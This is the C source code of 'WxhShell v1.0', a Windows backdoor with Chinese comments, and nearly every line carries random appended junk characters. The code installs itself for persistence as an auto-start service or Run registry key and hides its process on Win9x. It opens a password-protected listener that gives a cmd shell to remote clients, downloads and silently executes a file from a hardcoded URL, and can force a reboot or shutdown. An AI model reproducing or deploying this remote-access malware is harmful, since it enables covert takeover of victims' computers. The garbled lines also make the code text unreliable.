    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ch \ed|u  
    if(Boot(SHUTDOWN)) {'c%#\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WDH[kJ  
    else { u':0"5}  
    closesocket(wsh); z!1/_]WJ,  
    ExitThread(0); E-tNB{r@  
    } +Qi52OG  
    break; @8Q+=abz  
    } D|Ihe%w-  
  // 获取shell <R`,zE@t'(  
  case 's': { P/gb+V=g!  
    CmdShell(wsh); y_7XYT!w  
    closesocket(wsh); \\R*V'e!  
    ExitThread(0); 0oi5]f6g?8  
    break; \@PUljU]  
  } 7QOC]:r  
  // 退出 ,# jOf{L*  
  case 'x': { N?mY|x\}wK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pRxlvVt  
    CloseIt(wsh); -MHX1`P:Sn  
    break; jB/q1vFO  
    } ;qVEI/  
  // 离开 sw qky5_K  
  case 'q': { E/L?D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P=SxiXsr$  
    closesocket(wsh); 9a~BAH,j  
    WSACleanup(); 6ImV5^l  
    exit(1); &;@b&p+  
    break; X!M fJ^)q  
        } Xv5Ev@T  
  } Y(I*%=:$  
  } |H+k?C-w  
3]kAb`9[K2  
  // 提示信息 0JZq:hUd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W-]yKSob  
} |E_+*1lq.  
  } Dpp52UnT E  
YZ%f7BUk  
  return; *l?% o{  
} _"w!KNX>(~  
++{+ #s6  
// shell模块句柄 T\e)Czz2-  
int CmdShell(SOCKET sock) WfjUJw5x"s  
{ o%~K4 M".  
STARTUPINFO si; kDpZnXP  
ZeroMemory(&si,sizeof(si)); ^%*{:0'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 73sAZa|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #:\+7mCF  
PROCESS_INFORMATION ProcessInfo; J*lYH]s  
char cmdline[]="cmd"; MTITIecw=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mi/'4~0Y  
  return 0; GLKN<2|2@y  
} 5W]N]^v  
f $@".  
// 自身启动模式 rW%'M#! =  
int StartFromService(void) ~tj7zI6  
{ P2:Q+j:PX  
typedef struct X"khuyT_  
{ \q`+  
  DWORD ExitStatus; ?xTeio44  
  DWORD PebBaseAddress; >'1Q"$;  
  DWORD AffinityMask; +!V%Q  
  DWORD BasePriority;  DIu72\  
  ULONG UniqueProcessId; q!oZ; $  
  ULONG InheritedFromUniqueProcessId; 4#7@KhK}  
}   PROCESS_BASIC_INFORMATION; g`8 mh&u%  
~ {7N TW  
PROCNTQSIP NtQueryInformationProcess; 2|NyAtPb5  
?L#SnnE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c{4nW|/W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F=T.*-oS3  
eg~^wi  
  HANDLE             hProcess; q}A3"$-F  
  PROCESS_BASIC_INFORMATION pbi; +q=jB-eIx  
S~(VcC$K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -JO46 #m  
  if(NULL == hInst ) return 0; o(SJuZC/U  
Z-p^3t'{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &$z1Hz+l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l'{goyf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1]3bx N  
 { e  
  if (!NtQueryInformationProcess) return 0; ZE(RvPW  
y $ DB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N8(x),  
  if(!hProcess) return 0; 6C51:XQO  
oD}FJvV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WT {Cjn  
Vq7 kA "  
  CloseHandle(hProcess); A`/7>'k/q[  
BMj&*p8R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]<_!@J6k  
if(hProcess==NULL) return 0; %C][E^9  
>]|^ Ux,WZ  
HMODULE hMod; dvWlx]'  
char procName[255]; __n"DLW  
unsigned long cbNeeded; 5F+ f'~  
lR K ?%~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sF3 l##Wv  
+~k,4  
  CloseHandle(hProcess); ]{U*+K%,J  
g(r'Y#U  
if(strstr(procName,"services")) return 1; // 以服务启动 ^yZSCrPGI  
lz0]p  
  return 0; // 注册表启动 Fl>j5[kLZ  
} ,F9wc<V8  
4wD^?S!p  
// 主模块 Q)X\VQcgj  
int StartWxhshell(LPSTR lpCmdLine) &J@ZF<Ib  
{ yWk:u 5  
  SOCKET wsl; AX Jj"hN  
BOOL val=TRUE; *ik)>c_  
  int port=0; B=/=U7T  
  struct sockaddr_in door; &>4$ [m>n  
M_ cb(=ey  
  if(wscfg.ws_autoins) Install(); `l0icfy  
GeT CN  
port=atoi(lpCmdLine); +hhbp'%  
H.~+{jTr  
if(port<=0) port=wscfg.ws_port; g^^m a}i  
C4TD@  
  WSADATA data; ^O:RS g9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _r)nbQm&  
4IE#dwZW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W&[9x%Ba  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2-2LmxLG  
  door.sin_family = AF_INET; 3lgy X/?o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h4xdE 0  
  door.sin_port = htons(port); 62'0)Cy^  
J@{ Bv%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (8F?yBu  
closesocket(wsl); s_?* R  
return 1; ,qh  
} [~JN n  
>Nqkz?67  
  if(listen(wsl,2) == INVALID_SOCKET) { @,$HqJ  
closesocket(wsl); @].aFhH`)  
return 1; |8+rUFkU8  
} L| qY  
  Wxhshell(wsl); ArKrsI#H-  
  WSACleanup(); zMg^2{0L  
~2 ;y4%K  
return 0; = $Yk8,  
OVK(:{PwS  
} LYKm2C*d  
t~#+--(  
// 以NT服务方式启动 `b$I)UUm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t?&ajh  
{ n9yv.p]  
DWORD   status = 0; Ase1R=0  
  DWORD   specificError = 0xfffffff; ECfY~qK  
Ok"wec+,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9uo\&,,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7En~~J3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N.J:Qn`(  
  serviceStatus.dwWin32ExitCode     = 0; EE{%hGb  
  serviceStatus.dwServiceSpecificExitCode = 0; sA j$U^Gp  
  serviceStatus.dwCheckPoint       = 0; 1x 8]&  
  serviceStatus.dwWaitHint       = 0; :udZfA\sW  
"q8 'tN><  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); duTSU9  
  if (hServiceStatusHandle==0) return; PkO(Y!  
HM x9M$  
status = GetLastError(); sbb{VV`I  
  if (status!=NO_ERROR) 'a9.JS[pj  
{ p[I gnO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7k3\_BHyb\  
    serviceStatus.dwCheckPoint       = 0; %|||M=akk  
    serviceStatus.dwWaitHint       = 0; R'_[RHFC  
    serviceStatus.dwWin32ExitCode     = status; oOw"k*,h:S  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z.:A26  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cr"hu;  
    return; aUQq<H'R  
  } Oms`i&}"}  
B!lw>rUMQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fe,CY5B{  
  serviceStatus.dwCheckPoint       = 0; @ZWKs  
  serviceStatus.dwWaitHint       = 0; e hGC N=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B.b)YE '  
} U^S0H(>  
"^7Uk#! 7  
// 处理NT服务事件,比如:启动、停止 pwQ."2x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L T!X|O.  
{ ^8*.r+7p  
switch(fdwControl) ?J AzN  
{ Sx7xb]3XI"  
case SERVICE_CONTROL_STOP: W@LR!EW)  
  serviceStatus.dwWin32ExitCode = 0; #=c%:{O{4R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TW$^]u~v  
  serviceStatus.dwCheckPoint   = 0; NjLd-v"2  
  serviceStatus.dwWaitHint     = 0; Nsy.!,!c  
  { /fEXAk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s4\2lBU?  
  } QS_xOQ '  
  return; mD:!"h/  
case SERVICE_CONTROL_PAUSE: #:X :~T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Smo'&x  
  break; ?M);wBe(  
case SERVICE_CONTROL_CONTINUE: m;|I}{r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~drNlt9jf  
  break; L!RLw4  
case SERVICE_CONTROL_INTERROGATE: qIl@,8T  
  break; 7Udr~ 0_)  
}; >{[J+f{~|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NUseYU``  
} b?l\Q Mvi  
Cq=c'(cX  
// 标准应用程序主函数 o<;"+@v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d4U_Wu&  
{ -#@;-2w  
ZzY6M"eUXD  
// 获取操作系统版本 p}\!"&,^m  
OsIsNt=GetOsVer(); !!AutkEg>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (<t)5?@%  
u=5^xpI<D  
  // 从命令行安装 k 'o?/  
  if(strpbrk(lpCmdLine,"iI")) Install(); `Bx CTwc  
4R.#=]F  
  // 下载执行文件 )!Bv8&;e  
if(wscfg.ws_downexe) { 2zAS \Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lEJTd3dMi  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3UEh%Ho  
} Ogb !YF#e  
 .*+ &>m7  
if(!OsIsNt) { q0o6%c:gW  
// 如果时win9x,隐藏进程并且设置为注册表启动 6 [IiJhVL  
HideProc(); "xKJ?8   
StartWxhshell(lpCmdLine); zB4gnVhus|  
} juM?y'A  
else &j$k58mX  
  if(StartFromService()) o{/D:B  
  // 以服务方式启动 y_w4ei  
  StartServiceCtrlDispatcher(DispatchTable); l)zS}"F,  
else on~rrSK  
  // 普通方式启动 gBN;j  
  StartWxhshell(lpCmdLine); 7_LE2jpC,5  
Lgy}Gm8u5  
return 0; }6\p7n  
} 3Dy.mtP  
5,A/6b  
"{}5uth  
2Ig.hnHj  
=========================================== @d)6LA9Ec  
)Fbkt(1  
!.!Ervi!N  
Q[ IaA"  
4GJsVA(d|  
  ~*RNJ  
" K.k=\N  
+g*Ko@]m>  
#include <stdio.h> ey:3F%  
#include <string.h> \;~>AL*  
#include <windows.h> Tg[+K+b  
#include <winsock2.h> qzXch["So  
#include <winsvc.h> 0 @>3fR  
#include <urlmon.h> 9d v+u6)  
"&An9H'  
#pragma comment (lib, "Ws2_32.lib") $WDa} ~j~^  
#pragma comment (lib, "urlmon.lib") Pm-@ZZ~  
Gg_i:4F  
#define MAX_USER   100 // 最大客户端连接数 TB9ukLG^<<  
#define BUF_SOCK   200 // sock buffer ^z_~e@U  
#define KEY_BUFF   255 // 输入 buffer FQ_4a}UOjX  
ke/QFN-`  
#define REBOOT     0   // 重启 9G&l{7=  
#define SHUTDOWN   1   // 关机 <)&;9C  
3K{'~?mM  
#define DEF_PORT   5000 // 监听端口 Bb m1&d#  
zg|]Ic  
#define REG_LEN     16   // 注册表键长度 2$|WXYY  
#define SVC_LEN     80   // NT服务名长度 Y?Xs Z  
X\_ku?]v  
// 从dll定义API Av{1~%hU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rv }e+5F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '/mwXvl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'w DNP_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P9gIKOOx#4  
]R( =)  
// wxhshell配置信息 f"S^:F0  
struct WSCFG { [H!V  
  int ws_port;         // 监听端口 2x0[@cT i?  
  char ws_passstr[REG_LEN]; // 口令 wj5{f5 RWV  
  int ws_autoins;       // 安装标记, 1=yes 0=no S?&ntUah  
  char ws_regname[REG_LEN]; // 注册表键名 %1S;y  
  char ws_svcname[REG_LEN]; // 服务名 (2 X`imJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1aKY+4/G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -(dc1?COi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &GX pRo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^+I{*0{/[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 26j ; RV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y2}\~I0  
Z{|wjZb(  
}; +as(m  
HqOzArp3  
// default Wxhshell configuration XfharJ_b  
struct WSCFG wscfg={DEF_PORT, %kUIIH V}  
    "xuhuanlingzhe", 074)(X&:x  
    1, kLK}N>v}X  
    "Wxhshell", VXQ~PF]z0  
    "Wxhshell", oJEind>8O  
            "WxhShell Service", Ft'?43J  
    "Wrsky Windows CmdShell Service", Y'wQ(6ok  
    "Please Input Your Password: ", yi PMJ  
  1, THC34u]  
  "http://www.wrsky.com/wxhshell.exe", R0vWj9nPh  
  "Wxhshell.exe" B\`4TU}kE  
    }; 4vF1  
UH2fP G  
// 消息定义模块 j8P=8w{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R!5j1hMN`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _O{3bIay3!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z)?B5FF  
char *msg_ws_ext="\n\rExit."; >yiK&LW^?  
char *msg_ws_end="\n\rQuit."; :T.j;~  
char *msg_ws_boot="\n\rReboot..."; e2~&I`ct  
char *msg_ws_poff="\n\rShutdown..."; N2WQrTA:S+  
char *msg_ws_down="\n\rSave to "; "6o}g.  
sk6C/ '0:  
char *msg_ws_err="\n\rErr!"; B E!HM{-  
char *msg_ws_ok="\n\rOK!"; r Z%l?(  
~"xc 3(h  
char ExeFile[MAX_PATH]; [jU.58*  
int nUser = 0; xj\! Sn2  
HANDLE handles[MAX_USER]; Tc$Jvy-G4A  
int OsIsNt; @p~f*b4H?  
F$X"?fj  
SERVICE_STATUS       serviceStatus; ?U$H`[VF}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A&XI1. j6  
`ZhDoLpH<  
// 函数声明 7b7@"Zw*  
int Install(void); 8Th{(J_  
int Uninstall(void); ,t2Mur  
int DownloadFile(char *sURL, SOCKET wsh); 7,X5]U&A<x  
int Boot(int flag); s|FfBG  
void HideProc(void); bLuAe EA  
int GetOsVer(void); .'aW~WR  
int Wxhshell(SOCKET wsl); >UlAae44  
void TalkWithClient(void *cs); /x\{cHAt8J  
int CmdShell(SOCKET sock); CEzwI _  
int StartFromService(void); j6}/pe*;;T  
int StartWxhshell(LPSTR lpCmdLine); <2{g[le  
ROb2g|YXG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kyR=U`OW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mwm9{1{  
cHP~J%&L  
// 数据结构和表定义 ^26vP7  
SERVICE_TABLE_ENTRY DispatchTable[] = 6_}& WjU'  
{ 4C m+xAXG  
{wscfg.ws_svcname, NTServiceMain}, Vh=10Et  
{NULL, NULL} U~H]w ,^  
}; .d/e?H:  
,%Sf,h?"^  
// 自我安装  vf}.)  
int Install(void) w`ebZa/j  
{ ?y"= jn  
  char svExeFile[MAX_PATH]; ;l4 epN  
  HKEY key; H+lBb$  
  strcpy(svExeFile,ExeFile); (m:ktd=x  
B bP&-c  
// 如果是win9x系统,修改注册表设为自启动 <9Sg,ix't  
if(!OsIsNt) { \?EnTu.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S3fyt]pp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O S?S$y  
  RegCloseKey(key); dK.k,7R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AXN%b2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m6+4}=Cn  
  RegCloseKey(key); @?bO@  
  return 0; s&.VU|=VQ@  
    } a\_?zi]s&,  
  } -0P(lkylf  
} <+3-(&  
else { u]`ur#_  
QTe>EJ12  
// 如果是NT以上系统,安装为系统服务 3IB||oN$T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !N"Y  
if (schSCManager!=0) C[c^zn  
{ 8>4@g!9E  
  SC_HANDLE schService = CreateService \A#YL1hh  
  ( Ah#bj8}  
  schSCManager, #"&<^  
  wscfg.ws_svcname, 0[L)`7  
  wscfg.ws_svcdisp, Wks?9 )Is  
  SERVICE_ALL_ACCESS, LKX; ^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5-[bdI  
  SERVICE_AUTO_START, nNj<!}HvV  
  SERVICE_ERROR_NORMAL, *gGL5<%T:  
  svExeFile, VelR8tjP  
  NULL, ais@|s;  
  NULL, crvq]J5  
  NULL, "1I\~]]  
  NULL, @ vHj>N  
  NULL ,2>nr goM  
  ); Fm-D>PR  
  if (schService!=0) p#A{.6Pa:  
  { OUM^ u*  
  CloseServiceHandle(schService); MqKf'6z  
  CloseServiceHandle(schSCManager); nA1059B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6O@/Y;5i  
  strcat(svExeFile,wscfg.ws_svcname); u*w'.5l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4s_|6{ANS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QtSJ9;eP  
  RegCloseKey(key); ZkA05wPZ#  
  return 0; 0cF +4,5  
    } P[L] S7FTr  
  } zqJ0pDS  
  CloseServiceHandle(schSCManager); +5<]s+4T  
}  X<p'&  
} x9Oo.[  
-mfdngp3  
return 1; f?Am)  
} -5X*y4#  
a]]>(Txc  
// 自我卸载 F'Lav?^  
int Uninstall(void) =CqZ$  
{ e09('SON(  
  HKEY key; D^-6=@<3KD  
[Z -S0  
if(!OsIsNt) { a@?2T,$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +-$Hx5  
  RegDeleteValue(key,wscfg.ws_regname); ~[*\YN);  
  RegCloseKey(key); 42B_8SK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SI"y&[iw  
  RegDeleteValue(key,wscfg.ws_regname); X6Wj,a  
  RegCloseKey(key); 0r/pZ3/  
  return 0; kklM"Av  
  } n-)Xs;`2  
} v{2euOFE  
} Kf>]M|G c  
else { d(t$riFX}  
f#>ubmuI^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5&Vp(A[m[  
if (schSCManager!=0) _$vAitUe4S  
{ q-<t'uhs[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0D.qc8/V4.  
  if (schService!=0) ibj3i7G?  
  { |,)=-21&;  
  if(DeleteService(schService)!=0) { &:@)ro CR  
  CloseServiceHandle(schService); -1z<,IN+  
  CloseServiceHandle(schSCManager); ,z@"pI b  
  return 0; 0 v> *P*  
  } %HWebZ-yY  
  CloseServiceHandle(schService); 6jaol'{SuH  
  } %Bf;F;xuB  
  CloseServiceHandle(schSCManager); 9*b(\Z)N  
} EmFL %++V  
} W3~xjS"h  
H4Lvw8G  
return 1; +#@)C?G,TF  
} ;jZf VRl  
=F 9!)r  
// 从指定url下载文件 m2esVvP  
int DownloadFile(char *sURL, SOCKET wsh) #=V[vbTY  
{ D.;iz>_}Y  
  HRESULT hr; UD6:X&Un  
char seps[]= "/"; %K/zVYGm&  
char *token; ?P>3~3 B  
char *file; e]Q bC "  
char myURL[MAX_PATH]; >JUOS2  
char myFILE[MAX_PATH]; umJ!j&(  
[5T{`&  
strcpy(myURL,sURL); o1^Rx5  
  token=strtok(myURL,seps); +`]AutNv  
  while(token!=NULL) <>?7veN92  
  { *%p`Jk-U  
    file=token; o-7,P RmKN  
  token=strtok(NULL,seps); M4rK  
  } cy{ ado2  
^0T DaZDLp  
GetCurrentDirectory(MAX_PATH,myFILE); 57~/QEdy  
strcat(myFILE, "\\"); i[7<l&K]  
strcat(myFILE, file); W9M~2< L  
  send(wsh,myFILE,strlen(myFILE),0); 5N /NUs   
send(wsh,"...",3,0); _i@4R<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bh0hUE  
  if(hr==S_OK) -?}Z0e(w  
return 0; `-)Hot)  
else C;jV)hr6P  
return 1; nd3n'b  
Q xm:5P  
} /_{B_2i/>  
Wfp>BC  
// 系统电源模块 'fS&WVR?  
int Boot(int flag) O+ghw1/  
{ Zog&:]P'F  
  HANDLE hToken; qS?uMms7w  
  TOKEN_PRIVILEGES tkp; OGWZq(c"6  
1ww#]p`1  
  if(OsIsNt) { Sece#K2J|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bp9_\4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,We'A R3X  
    tkp.PrivilegeCount = 1; 2uT"LW/(H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1a@b-V2 d&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -POsbb>  
if(flag==REBOOT) { Wz&[ cj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )Rc  
  return 0; u6MHdCJ0y  
} E E^l w61  
else { y*7{S{9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /Dj-@7.C/  
  return 0; .9VhDrCK  
} 5=hMTztf!!  
  } d3jzGJrU}  
  else { Cc}3@Nf{/  
if(flag==REBOOT) { W'! I+nh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w0&|8y  
  return 0; m bZn[D_zi  
} }CGA)yK~3  
else { %@MO5#)NI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b-?d(-  
  return 0; 8z)J rO}  
} 0@>  
} 0u?Vn N<  
BG^)?_69  
return 1; moCr4*jDX,  
} 2OZ<t@\OY  
ap wA  
// win9x进程隐藏模块 B+4WnR1%T  
void HideProc(void) =<[M$"S7d6  
{ ]=G  dAW  
{xu~Dx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h pKrP  
  if ( hKernel != NULL ) ;U[W $w[  
  { $J9/AFzO"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -GODM128 ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); avy@)iO7  
    FreeLibrary(hKernel); ~u-_DOA  
  } 4Ul*`/d  
0w!:YB,}  
return; D:0?u_[W  
} "sJ@_lp  
;7U"wI_~c  
// 获取操作系统版本 q'KXn0IY#  
int GetOsVer(void) 3(3-#MD0  
{ 2Q)pT$  
  OSVERSIONINFO winfo; @r]1;KG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >uR;^B5m  
  GetVersionEx(&winfo); ZsN3 MbY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =VGRM#+D  
  return 1; 4XNkto  
  else 91|~KR)  
  return 0; oH1]-Nl$  
} sWFw[ Y>  
qJK-HF:#  
// 客户端句柄模块 EfqC_,J*3  
int Wxhshell(SOCKET wsl) ^w*&7.Z  
{ , %A2wV  
  SOCKET wsh; g-<[* nF  
  struct sockaddr_in client; 7-MyiCt  
  DWORD myID; @vPGkM#oW  
jBU!xCO  
  while(nUser<MAX_USER) %h}3}p#4  
{ ALt^@|!d  
  int nSize=sizeof(client); /_i]bM7W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kY#sQz}8  
  if(wsh==INVALID_SOCKET) return 1; @] 3`S  
N:UA+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 23'Ac,{  
if(handles[nUser]==0) `q+Ug  
  closesocket(wsh); r?}L^bK  
else qhOV>j,d  
  nUser++; 5Eu`1f?  
  } 7%yP5c B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b ix}#M  
YQaL)t$0  
  return 0; PY[!H<tt  
} e89IT*  
z6'l" D'h  
// 关闭 socket Jqqt@5Ni  
void CloseIt(SOCKET wsh) pF7S("#R  
{ 2x:aMWh  
closesocket(wsh); p/Ri|FD6  
nUser--; uY:u[  
ExitThread(0); P |;=dX#-  
} jo ~p#l.'  
/^b=| +Do  
// 客户端请求句柄 $ -M'  
void TalkWithClient(void *cs) 'Ug-64f>  
{ no8FSqLUS~  
]t;bCD6*  
  SOCKET wsh=(SOCKET)cs; e'&<DE)  
  char pwd[SVC_LEN]; mH7Mch| m  
  char cmd[KEY_BUFF]; -4t!k Aw`  
char chr[1]; v:u=.by99  
int i,j; eG%Q 3h  
,dSP%?vV  
  while (nUser < MAX_USER) { zzZ K S  
8&++S> <  
if(wscfg.ws_passstr) { #<gD@Jybu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jmva0K},SE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A IsXu"  
  //ZeroMemory(pwd,KEY_BUFF); kqp*o+Oz',  
      i=0; q|kkdK|N/Y  
  while(i<SVC_LEN) { <jtu/U]78|  
Y1L7sH 9  
  // 设置超时 @ \JoICz  
  fd_set FdRead; n]snD1?KX  
  struct timeval TimeOut; IGcYPL\&  
  FD_ZERO(&FdRead); j4!oBSp  
  FD_SET(wsh,&FdRead); eC*-/$D  
  TimeOut.tv_sec=8; o7t#yw3  
  TimeOut.tv_usec=0; mE3M$2}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8eZ^)9m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hy#<fKz`!  
S'%!KGVe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VTwJtWnq  
  pwd=chr[0]; cA25FD  
  if(chr[0]==0xd || chr[0]==0xa) { Qj(|uGqm3  
  pwd=0; VVm8bl.q  
  break; OjBg$f~0F  
  } xGo,x+U*  
  i++; "CF{Mu|Q=  
    } a29rD$  
FOD_m&+  
  // 如果是非法用户,关闭 socket 0v'FE35~s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w[?E oFI$Y  
} \EOPlyf8x  
SKrkB~%z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H\@@iK=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `=VN\W^&  
}@avG t;v  
while(1) { E>3(ff&  
LSW1,}/B  
  ZeroMemory(cmd,KEY_BUFF); LGF5yRk  
<t)D`nY\  
      // 自动支持客户端 telnet标准    v{ *#  
  j=0; Pq)C(Z  
  while(j<KEY_BUFF) { V j"B/@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y759S)U>>p  
  cmd[j]=chr[0]; ]Z#=w  
  if(chr[0]==0xa || chr[0]==0xd) { DSc:>G  
  cmd[j]=0; D_)n\(3  
  break; C6cEt5  
  } $l<(*,,l  
  j++; \oc*  
    } #JIh-h@  
@O Rk  
  // 下载文件 6 s1lf!  
  if(strstr(cmd,"http://")) { =&xN dc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jx_BjkF  
  if(DownloadFile(cmd,wsh)) `UDB9Ca  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pQf5s7  
  else "~^ #{q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A6# 5 z  
